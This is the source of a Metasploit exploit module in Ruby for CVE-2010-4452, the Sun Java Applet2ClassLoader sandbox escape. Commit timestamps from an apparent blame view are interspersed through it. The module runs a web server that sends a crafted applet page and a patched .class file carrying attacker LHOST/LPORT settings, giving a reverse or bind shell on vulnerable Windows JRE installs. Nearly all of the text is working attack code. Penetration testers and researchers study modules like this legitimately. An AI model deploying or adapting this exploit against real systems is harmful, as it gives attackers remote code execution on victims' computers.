2011-03-16 04:50:25 +00:00
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##
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2013-10-15 18:50:46 +00:00
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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2011-03-16 04:50:25 +00:00
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Sun Java Applet2ClassLoader Remote Code Execution',
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'Description' => %q{
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This module exploits a vulnerability in the Java Runtime Environment
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that allows an attacker to run an applet outside of the Java Sandbox. When
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an applet is invoked with:
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1. A "codebase" parameter that points at a trusted directory
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2. A "code" parameter that is a URL that does not contain any dots
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the applet will run outside of the sandbox.
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This vulnerability affects JRE prior to version 6 update 24.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Frederic Hoguin', # Discovery, PoC
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'jduck' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2010-4452' ],
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[ 'OSVDB', '71193' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-084/' ],
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[ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],
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[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]
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],
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2013-09-24 16:42:31 +00:00
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'Platform' => [ 'java' ],
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2013-08-30 21:28:54 +00:00
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'Payload' =>
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{
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'Space' => 20480,
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'ConnectionType' => '-find'
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}
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},
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'Targets' =>
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[
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# OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
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# FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
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[ 'Generic (Java Payload)',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java',
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}
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],
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# Native payloads aren't currently supported (only work with jar/war)
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2011-03-16 04:50:25 +00:00
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=begin
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2013-08-30 21:28:54 +00:00
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[ 'Windows x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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}
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],
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2011-03-16 04:50:25 +00:00
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=end
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2013-08-30 21:28:54 +00:00
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Feb 15 2011'
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))
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register_options(
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[
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# This is the default for a 32-bit Windows install
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OptString.new('LIBPATH', [ false, "The codebase path to use (privileged)",
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"C:\\Program Files\\java\\jre6\\lib\\ext"]),
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], self.class)
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end
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def exploit
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path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR)
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@java_class = nil
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File.open(path, "rb") { |fd|
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@java_class = fd.read(fd.stat.size)
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}
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if not @java_class
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fail_with(Failure::Unknown, "Unable to load java class")
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end
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super
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end
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def on_request_uri(cli, request)
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#print_status("Received request: #{request.uri}")
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jpath = get_uri(cli)
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#print_status(jpath)
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# Do what get_uri does so that we can replace it in the string
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# This could proably use the Host header from the request
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host = Rex::Socket.source_address(cli.peerhost)
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host_num = Rex::Socket.addr_aton(host).unpack('N').first
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code_url = jpath.sub(host, host_num.to_s)
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codebase = "file:" + datastore['LIBPATH']
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config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
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# The java payloads decide to be reverse if LHOST is set.
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config << "LHOST=#{datastore['LHOST']}\n" if datastore['PAYLOAD'] =~ /reverse/
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config_off = 0x10e
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cn_off = 0x2f76
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case request.uri
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when /\.class$/
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# NOTE: the payload for this module is implemented in the .class file directly.
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#
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# This is due to the following:
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# 1. The file must be a single .class file
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# 2. The class inside must derive from Applet
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#
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# As such, we do not use the traditional payload generation facilities.
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# However, we call the following so that bind payloads will properly
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# connect to the client instead of using RHOST
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p = regenerate_payload(cli)
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print_status("Sending .class file")
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cls = @java_class.dup
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cls[config_off,2] = [config.length].pack('n')
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cls[config_off+2,8] = config
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cn_off += (config.length - 8) # the original length was 8 (CONFIGZZ)
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cls[cn_off,2] = [code_url.length].pack('n')
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cls[cn_off+2,7] = code_url
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#File.open('ughz.class', 'wb') { |fd| fd.write cls }
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send_response(cli, cls, { 'Content-Type' => "application/octet-stream" })
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handler(cli)
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else
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html = <<-EOS
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2011-03-16 04:50:25 +00:00
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<html>
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<body>
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<applet codebase="#{codebase}" code="#{code_url}" />
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</body>
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</html>
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EOS
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2013-08-30 21:28:54 +00:00
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print_status("Sending HTML")
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send_response_html(cli, html)
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end
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2011-03-16 04:50:25 +00:00
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2013-08-30 21:28:54 +00:00
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end
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2011-03-16 04:50:25 +00:00
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end
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